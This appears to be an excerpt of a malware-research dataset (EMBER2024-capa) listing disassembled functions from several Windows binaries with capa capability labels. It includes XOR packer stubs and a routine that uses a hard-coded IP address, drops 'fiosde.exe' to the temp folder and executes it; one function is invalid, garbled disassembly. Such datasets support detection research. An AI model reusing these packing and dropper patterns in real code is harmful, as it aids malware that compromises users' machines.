joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100015f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x3f0], ecx
test esi, esi
jne 0x100017cb
lea ecx, [ebp - 0x3ec]
push ecx
push 0x20019
push esi
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100017e4
lea edx, [ebp - 0x3e4]
push edx
mov edx, dword [ebp - 0x3ec]
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x3e8]
push ecx
push esi
push str.clsid
push edx
mov dword [ebp - 0x3e8], 1
mov dword [ebp - 0x3e4], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100017ab
lea eax, [ebp - 0x3d0]
push eax
lea ebx, [ebp - 0x108]
call fcn.100013c0
add esp, 4
test eax, eax
jne 0x100017ab
push 0x29c
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
mov esi, eax
add esp, 4
test esi, esi
je 0x100017ab
push 0x29c
push 0
push esi
call sub.MSVCR100.dll_memset
mov ecx, dword [ebp - 0x3f0]
add esp, 0xc
push 0x64
lea edx, [ebp - 0x1d0]
push edx
push 0xffffffffffffffff
mov eax, ebx
push eax
push 0
push 0
mov dword [esi], ecx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x3e0]
push ecx
lea edx, [ebp - 0x1d0]
push edx
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
jne 0x10001722
mov eax, dword [ebp - 0x3e0]
mov dword [esi + 4], eax
mov ecx, dword [ebp - 0x3dc]
mov dword [esi + 8], ecx
mov edx, dword [ebp - 0x3d8]
mov dword [esi + 0xc], edx
mov eax, dword [ebp - 0x3d4]
mov dword [esi + 0x10], eax
lea ecx, [ebp - 0x3e4]
push ecx
mov ecx, dword [ebp - 0x3ec]
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x3e8]
push eax
push 0
push str.description
push ecx
mov dword [ebp - 0x3e8], 1
mov dword [ebp - 0x3e4], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esi + 0x214]
test eax, eax
jne 0x1000179d
lea eax, [ebp - 0x108]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10001773
mov edx, dword [ebp - 0x3ec]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005a0e
mov esp, ebp
pop ebp
ret
mov eax, edi
sub edx, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x100017a1
mov edx, dword [ebp - 0x3ec]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005a0e
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x298]
push edx
inc ecx
push ecx
push edi
push eax
call fcn.100015f0
add esp, 0x10
mov dword [esi + 0x298], eax
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10005a0e
mov esp, ebp
pop ebp
ret
Function at 0x10001bc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000639c
mov eax, dword fs:[0]
push eax
push ecx
push edi
mov eax, dword [section..data]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x1000a54c], 0
jne 0x10001c07
push 0
push 0
push 0
push 0x10004af0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1000a54c], eax
push 0x10
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
mov edi, eax
add esp, 4
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], 0
test edi, edi
je 0x10001c44
call fcn.10001840
mov dword [edi + 0xc], 0xffffffff
mov dword [0x10009778], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [0x10009778], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10003140
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5ddc
call fcn.10006290
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10009794]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
mov edx, dword [esi]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
lea ecx, [eax*4]
push ecx
push edx
mov dword [ebp - 0x5dd8], ebx
mov dword [ebp - 0x5dd4], esi
call edi
cmp eax, 1
jne 0x1000319e
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005a0e
mov esp, ebp
pop ebp
ret 8
mov eax, dword [0x10009794]
mov edx, dword [esi + 4]
lea ecx, [eax*4]
push ecx
push edx
call edi
cmp eax, 1
je 0x10003189
test ebx, ebx
je 0x10003189
push 0x5dbf
lea eax, [ebp - 0x5dc3]
push 0
push eax
mov byte [ebp - 0x5dc4], 0
call sub.MSVCR100.dll_memset
fld1
fld qword [0x10007280]
add esp, 0xc
fld qword [0x100072a0]
xor eax, eax
lea edi, [ebp - 0x5dc4]
mov dword [ebp - 0x5dd0], eax
mov dword [ebp - 0x5dcc], edi
mov ebx, dword [0x10009794]
test ebx, ebx
jle 0x10003289
mov esi, dword [esi + eax*4]
fld dword [esi]
fstp dword [ebp - 0x5dc8]
fld dword [ebp - 0x5dc8]
fld st(0)
fadd st(4)
fstp dword [ebp - 0x5dc8]
fld dword [ebp - 0x5dc8]
fabs
fstp dword [ebp - 0x5dc8]
fld dword [ebp - 0x5dc8]
fxch st(1)
fsub st(4)
fstp dword [ebp - 0x5dc8]
fld dword [ebp - 0x5dc8]
fabs
fstp dword [ebp - 0x5dc8]
fsub dword [ebp - 0x5dc8]
fmul st(2)
fstp dword [ebp - 0x5dc8]
fld dword [ebp - 0x5dc8]
fmul st(1)
fsub st(2)
call fcn.100062c0
mov word [edi], ax
add esi, 4
add edi, 4
dec ebx
jne 0x1000320a
mov eax, dword [ebp - 0x5dd0]
mov esi, dword [ebp - 0x5dd4]
mov ebx, dword [0x10009794]
mov edi, dword [ebp - 0x5dcc]
inc eax
add edi, 2
mov dword [ebp - 0x5dd0], eax
mov dword [ebp - 0x5dcc], edi
cmp eax, 2
jl 0x100031f9
push 0
fstp st(2)
lea ecx, [ebp - 0x5ddc]
fstp st(0)
push ecx
fstp st(0)
mov ecx, dword [ebp - 0x5dd8]
lea edx, [ebx*4]
push edx
lea eax, [ebp - 0x5dc4]
push eax
push ecx
mov dword [ebp - 0x5ddc], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10005a0e
mov esp, ebp
pop ebp
ret 8
Function at 0x100032f0
Capabilities:
Contain obfuscated stackstrings
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
jne 0x1000331b
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005a0e
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x48]
push eax
push esi
mov dword [ebp - 0x38], 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x100033e5
mov ecx, dword [0x1000a548]
test ecx, ecx
je 0x100033e5
mov edx, dword [ecx]
mov edx, dword [edx + 0x34]
lea eax, [ebp - 0x50]
push eax
call edx
test eax, eax
jne 0x100033e5
fld qword [ebp - 0x50]
push 0
fnstcw word [ebp - 0x32]
push 0
movzx eax, word [ebp - 0x32]
or eax, 0xc00
mov dword [ebp - 0x3c], eax
push 0
push esi
fldcw word [ebp - 0x3c]
mov dword [ebp - 0x30], 0x46464952
mov dword [ebp - 0x28], 0x45564157
mov dword [ebp - 0x24], 0x20746d66
mov dword [ebp - 0xc], 0x61746164
mov dword [ebp - 0x1c], 0x20001
fistp qword [ebp - 0x40]
mov dword [ebp - 0x10], 0x100004
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
shl eax, 5
shr eax, 3
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x44]
fldcw word [ebp - 0x32]
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x20], 0x10
mov dword [ebp - 8], eax
add eax, 0x2c
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x100033e5
push 0
lea eax, [ebp - 0x38]
push eax
push 0x2c
lea ecx, [ebp - 0x30]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
dec eax
neg eax
sbb eax, eax
xor ecx, ebp
inc eax
pop esi
call fcn.10005a0e
mov esp, ebp
pop ebp
ret 4

Function at 0x10004ac0
Capabilities:
Create thread

Disassembly:
cmp dword [0x1000a54c], 0
jne 0x10004ae3
push 0
push 0
push 0
push 0x10004af0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1000a54c], eax
mov eax, 1
ret 0xc

Function at 0x10005a0e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10005a18
repz ret
jmp fcn.10005dae
Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffb8
sar dword [esi - 0x2aa371e7], cl
invalid
dec ebp
jae 0x415398
nop
sbb eax, 0x1817311a
sti
cmp byte [esi + 0x3c50b19a], al
out dx, al
adc cl, byte [edx]
ljmp 0x479c
Function at 0x40db80
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x4143d8], 0
jne 0x40dc01
cmp dword [0x4143f8], 0
jne 0x40dbb0
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x4143f8], eax
test eax, eax
jne 0x40dbb0
push str.GetEnvironmentStrings_failed
call fcn.0040cbf0
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x4143f8]
jmp 0x40dbc4
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dbbc
lea edi, [ebp + 1]
push edi
call fcn.00405c3c
pop ecx
mov ebx, eax
mov dword [0x4143dc], ebx
test ebx, ebx
jne 0x40dbee
xor eax, eax
jmp 0x40dcc4
push edi
mov edx, dword [0x4143f8]
push edx
push ebx
call fcn.004069b8
add esp, 0xc
jmp 0x40dc21
xor esi, esi
mov ebx, dword [0x4143d8]
jmp 0x40dc1b
push eax
call fcn.00406b08
pop ecx
test eax, eax
jne 0x40dc17
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc0b
lea ebx, [esi + 4]
push 4
mov dword [0x4143e0], ebx
inc ebx
push ebx
call fcn.00405a3c
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x40dc44
xor eax, eax
jmp 0x40dcc4
cmp dword [0x4143d8], 0
jne 0x40dc75
xor esi, esi
mov ebx, dword [0x4143dc]
mov eax, dword [esp]
mov ebp, eax
jmp 0x40dc66
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dc5c
jmp 0x40dca6
xor esi, esi
mov ebx, dword [0x4143d8]
mov eax, dword [esp]
mov edi, eax
jmp 0x40dca0
push eax
call fcn.00406b08
pop ecx
test eax, eax
je 0x40dc95
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x40dc99
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc84
mov eax, dword [0x4143d8]
test eax, eax
je 0x40dcb6
push eax
call fcn.00405c4c
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x4143d8], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x40893a
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
add ecx, ecx
sub eax, 0xa9b426e2
call fcn.0040896b
sub eax, 1
xor dword [edx], esi
add ecx, ecx
inc edx
mov ecx, 0x7c5b5f2e
or eax, eax
cmp edx, edi
jne fcn.0040893a
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4014b0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3e4
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x3e
push eax
mov word [ebp - 0x48], ax
lea eax, [ebp - 0x46]
push eax
call fcn.00408600
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x250], ax
lea eax, [ebp - 0x24e]
push eax
call fcn.00408600
add esp, 0xc
lea eax, [ebp - 0x250]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x250]
push 0x5c
push eax
call fcn.00405569
mov esi, eax
xor eax, eax
mov word [esi], ax
add esi, 2
push 0x2e
push esi
call fcn.00405569
xor ecx, ecx
mov word [eax], cx
lea ecx, [ebp - 0x48]
add esp, 0x10
sub ecx, esi
jmp 0x401540
movzx eax, word [esi]
mov word [ecx + esi], ax
lea esi, [esi + 2]
test ax, ax
jne 0x401540
xor ecx, ecx
movzx eax, word [ebp + ecx - 0x48]
mov word [ecx + 0x419f88], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401551
push 0x419f88
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401593
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
push 0x419f88
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401582
lea eax, [ebp - 0x3e0]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x41ab20
call fcn.00401e40
test eax, eax
jne 0x401660
xor ecx, ecx
mov edi, edi
movzx eax, word [ecx + str.dgudf]
mov word [ecx + 0x41acc8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4015d0
push 0x4168a0
push 0x40
push 0x41ab24
call fcn.00404b5f
add esp, 0xc
push str.GTDR
push 0x10
push 0x41aba6
call fcn.00404b5f
add esp, 0xc
push 0x4168c8
push 0x40
push 0x41abc6
call fcn.00404b5f
mov eax, 0x51
mov word [0x41aba4], ax
mov eax, 0x2b8e
add esp, 0xc
mov word [0x41ac46], ax
xor ecx, ecx
lea ebx, [ebx]
movzx eax, word [ecx + str.BHSBDHS]
mov word [ecx + 0x41aca8], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401640
mov dword [0x41ace8], 5
call fcn.004037c0
mov ecx, 0x4168f4
call fcn.00403860
mov dword [0x41ae20], eax
call fcn.00401250
push 0
push 0
push 0
push 0x4013f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
Function at 0x401aa0
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x418038]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x419eb8
push 0x67
push edi
call esi
push 0x64
push 0x419df0
push 0x6d
push edi
call esi
mov ecx, edi
call fcn.00401c30
push 0
push edi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x419eb8
push 0x419df0
push 0
mov dword [0x419f80], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401b32
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404a1a
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
call fcn.00402cb0
call fcn.004021b0
test eax, eax
je 0x401b63
call fcn.00403520
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004014b0
test eax, eax
je 0x401b1a
call fcn.004017f0
mov ecx, dword [0x41ae20]
test ecx, ecx
je 0x401b9b
cmp word [0x41ae24], 0
jbe 0x401b9b
mov edx, str.218.54.31.226
call fcn.00403c80
mov ax, word [0x41ae24]
mov word [0x418ef4], ax
xor ecx, ecx
lea ecx, [ecx]
movzx eax, word [ecx + str.fiosde.exe]
mov word [ecx + 0x41a1a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401ba0
call fcn.00403d00
xor eax, eax
push 0x206
push eax
mov word [esp + 0x10], ax
lea eax, [esp + 0x12]
push eax
call fcn.00408600
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41a1a0
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.00404bbb
add esp, 0xc
push 0x1f4
call esi
push 1
push 0
push 0x416a7c
lea eax, [esp + 0x14]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401ee0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
test edi, edi
je 0x402003
test esi, esi
je 0x402003
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401f10
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x402005
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00408600
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x401f7f
cmp dword [0x418f08], 3
jne 0x401f7f
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x416a9c
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404bbb
add esp, 0xc
jmp 0x401f91
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404bbb
push 0x416aa0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x210], 0
call fcn.00404db2
mov eax, dword [ebp - 0x210]
add esp, 0x18
test eax, eax
je 0x402003
push eax
push 1
push 0x200
push edi
call fcn.00405084
push dword [ebp - 0x210]
call fcn.0040519c
add esp, 0x14
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00404a1a
mov esp, ebp
pop ebp
ret

Function at 0x4020c0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
xor edx, edx
jmp 0x4020e0
not byte [esi + edx]
inc edx
cmp edx, 0x200
jb 0x4020e0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408600
add esp, 0xc
mov dword [ebp - 0x214], 0
test esi, esi
je 0x402195
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404bbb
push 0x416adc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.00404db2
mov eax, dword [ebp - 0x214]
add esp, 0x18
test eax, eax
je 0x402181
push eax
push 1
push 0x200
push esi
call fcn.0040536a
push dword [ebp - 0x214]
call fcn.0040519c
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
Function at 0x402b40
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408600
add esp, 0xc
lea eax, [ebp - 0x410]
push 0x200
push 0
push eax
call fcn.00408600
add esp, 0xc
lea ecx, [ebp - 0x410]
call fcn.00402020
test eax, eax
je 0x402c96
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ecx + 0x416c28]
mov word [ecx + 0x41a018], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402ba0
xor ecx, ecx
jmp 0x402bc0
movzx eax, word [ebp + ecx - 0x38a]
mov word [ecx + 0x41a120], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402bc0
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ebp + ecx - 0x40c]
mov word [ecx + 0x41a0a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402be0
cmp dword [0x418f08], 3
movzx eax, word [ebp - 0x38c]
mov word [0x41a098], ax
movzx eax, word [ebp - 0x2ea]
mov word [0x41a010], ax
mov dword [0x41a00c], 5
lea eax, [ebp - 0x210]
je 0x402c38
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402c5d
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x416ce4
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404bbb
add esp, 0xc
push str.golfset.ini
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404bbb
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00404a1a
mov esp, ebp
pop ebp
ret

Function at 0x402cb0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [0x418f08], 0
call fcn.00408600
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402d6d
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x402d31
mov eax, dword [ebp - 0x118]
cmp eax, 2
jae 0x402d19
cmp eax, 1
jne 0x402d6d
mov dword [0x418f08], 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x402d6d
mov ecx, dword [ebp - 0x118]
test ecx, ecx
jne 0x402d58
mov dword [0x418f08], 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret
mov eax, dword [0x418f08]
mov edx, 5
cmp ecx, 1
cmove eax, edx
mov dword [0x418f08], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404a1a
mov esp, ebp
pop ebp
ret